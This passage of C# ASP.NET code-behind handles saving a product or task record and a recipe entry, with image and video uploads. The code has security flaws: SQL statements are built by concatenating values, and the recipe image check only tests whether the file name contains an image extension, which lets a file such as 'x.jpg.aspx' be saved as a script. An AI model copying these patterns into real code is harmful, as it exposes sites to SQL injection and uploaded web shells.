System.IO.Path.GetExtension(this.FileUpload1.FileName).ToLower(); if (fileExt != ".jpeg" && fileExt != ".jpg" && fileExt != ".png" && fileExt != ".bmp" && fileExt != ".gif") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片格式不正确');</script>"); return; } if (this.FileUpload1.PostedFile.ContentLength > 1024000) { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('图片不能大于1M');</script>"); return; } string newFileName = Guid.NewGuid().ToString() + fileExt; string dir = "/upload/goodsadmin/" + DateTime.Now.ToString("yyyyMMdd") + "/"; if (System.IO.Directory.Exists(Server.MapPath(dir)) == false) { System.IO.Directory.CreateDirectory(Server.MapPath(dir)); } string newPath = dir + newFileName; this.FileUpload1.SaveAs(Server.MapPath(newPath)); //缩略图 //MakeSmallPic(Server.MapPath(newPath), Server.MapPath(newPath.Replace(fileExt, "_s" + fileExt))); //mod.GoodsSmallPic = newPath.Replace(fileExt, "_s" + fileExt); mod.GoodsSmallPic = newPath; ViewState["OriginalBigImg"] = mod.GoodsSmallPic; } //视频文件_start if (this.FileUpload2.HasFile == true) { string fileExt_video = System.IO.Path.GetExtension(this.FileUpload2.FileName).ToLower(); if (fileExt_video != ".mp4") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('视频格式不正确');</script>"); return; } string newFileName_video = Guid.NewGuid().ToString() + fileExt_video; string dir_video = "/upload/goodsadmin/" + DateTime.Now.ToString("yyyyMMdd") + "/"; if (System.IO.Directory.Exists(Server.MapPath(dir_video)) == false) { System.IO.Directory.CreateDirectory(Server.MapPath(dir_video)); } string newPath_video = dir_video + newFileName_video; this.FileUpload2.SaveAs(Server.MapPath(newPath_video)); mod.BookInfo = newPath_video; } //视频文件_end //hfSign.Value = hfSign.Value.Replace("--", "-"); if (hfSign.Value.Length > 0) { mod.signId = hfSign.Value; } else { mod.signId = ""; } GetFormInfo(ref mod); if (bll.Update(mod)) { adohelper.ExecuteSqlNonQuery("update T_Goods_Info set JobDay=datediff(day,JobStartTime,JobEndTime) where GoodsId='" + mod.GoodsId + "'"); //默认图片 //if (ViewState["OriginalBigImg"] != null) { AddDefaultPic(mod.GoodsId, ViewState["OriginalBigImg"].ToString()); } //if (updateInt == -1) // ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('保存成功');location.href='GoodsList.aspx?id=" + this.cselect.categoryID + "';</script>"); //else{ strSQL = "insert T_Goods_Update values('" + mod.GoodsId + "',getdate(),'');"; adohelper.ExecuteSqlNonQuery(strSQL); LogAdd.CreateLog(HttpContext.Current.Session["UserId"].ToString(), "编辑任务《" + mod.GoodsName + "》", "编辑", "", "", HttpContext.Current.Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('编辑成功');</script>"); //} } } }
/// <summary> /// 保存信息 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void btnSave_Click(object sender, ImageClickEventArgs e) { MenuModel model = new MenuModel(); if (menuId != null && menuId != "") { model = new MenuBll().GetModel(menuId); if (model == null) { model = new MenuModel(); } } model.menuName = txtMenuName.Text; model.Flavor = txtFlavor.Text; //model.Technology=ddlTechnology.SelectedValue; model.Technology = txtTechnology.Text; model.Flavor = txtFlavor.Text; model.CookingTime = txtCookieTime.Text; model.CookingSkill = txtCookingSkill.Text; string[] strCode = selectMenu.hfCode.Split('|'); if (strCode.Length > 0) { model.categoryId = strCode[strCode.Length - 1]; } if (strCode[strCode.Length - 1] == "") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('未选择分类');</script>"); } if (hfSign.Value.Length > 0) { model.signId = hfSign.Value; } else { model.signId = ""; } decimal d = 0; if (decimal.TryParse(txtCalorie.Text, out d)) { model.Calorie = d; } model.isShow = cbShow.Checked ? 1 : 0; model.isTop = cbTop.Checked ? 1 : 0; if (fuBigImg.FileName.ToLower().Contains(".jpg") || fuBigImg.FileName.ToLower().Contains(".png") || fuBigImg.FileName.ToLower().Contains(".bmp") || fuBigImg.FileName.ToLower().Contains(".gif")) { string filePath = "/Upload/Menu/" + DateTime.Now.Year + "/" + DateTime.Now.Month + "/" + DateTime.Now.Day + "/"; if (!Directory.Exists(Server.MapPath(filePath))) { Directory.CreateDirectory(Server.MapPath(filePath)); } string fileName = DateTime.Now.Hour + "" + DateTime.Now.Minute + "" + DateTime.Now.Second + new Random().Next(10, 99); string tzm = fuBigImg.FileName.Substring(fuBigImg.FileName.LastIndexOf(".")); fuBigImg.SaveAs(Server.MapPath(filePath + fileName + tzm)); model.imgSrc = filePath + fileName + tzm; if (model.imgSrc != null && model.imgSrc != "") { llBigImg.Text = "<img src='" + model.imgSrc + "' width='100px' height='100px'/>"; } } else if (fuBigImg.FileName != null && fuBigImg.FileName != "") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('展示图图片格式不正确');</script>"); return; } if (fuSmallImg.FileName.ToLower().Contains(".jpg") || fuSmallImg.FileName.ToLower().Contains(".png") || fuSmallImg.FileName.ToLower().Contains(".bmp") || fuSmallImg.FileName.ToLower().Contains(".gif")) { string filePath = "/Upload/Menu/" + DateTime.Now.Year + "/" + DateTime.Now.Month + "/" + DateTime.Now.Day + "/"; string fileName = DateTime.Now.Hour + "" + DateTime.Now.Minute + "" + DateTime.Now.Second + new Random().Next(10, 99); string tzm = fuSmallImg.FileName.Substring(fuSmallImg.FileName.LastIndexOf(".")); fuSmallImg.SaveAs(Server.MapPath(filePath + fileName + tzm)); model.smallImgSrc = filePath + fileName + tzm; if (model.smallImgSrc != null && model.smallImgSrc != "") { llSmallImg.Text = "<img src='" + model.smallImgSrc + "' width='100px' height='100px'/>"; } } else if (fuSmallImg.FileName != null && fuSmallImg.FileName != "") { ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('预览图图片格式不正确');</script>"); return; } if (menuId == null || menuId == "") { model.menuId = IdCreator.CreateId("T_Menu_Info", "menuId"); model.AddTime = DateTime.Now; if (new MenuBll().Add(model)) { BindItemInfo(model.menuId); LogAdd.CreateLog(Session["UserId"].ToString(), "添加菜谱《" + model.menuName + "》", "添加", "", "", Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('添加成功');layer_close_refresh();</script>"); } } else { //model.menuId = IdCreator.CreateId("T_Menu_Info", "menuId"); if (new MenuBll().Update(model)) { BindItemInfo(model.menuId); LogAdd.CreateLog(Session["UserId"].ToString(), "修改菜谱《" + model.menuName + "》", "修改", "", "", Request.Url.ToString()); ClientScript.RegisterStartupScript(this.GetType(), "alert", "<script>alert('修改成功');layer_close_refresh();</script>"); } } }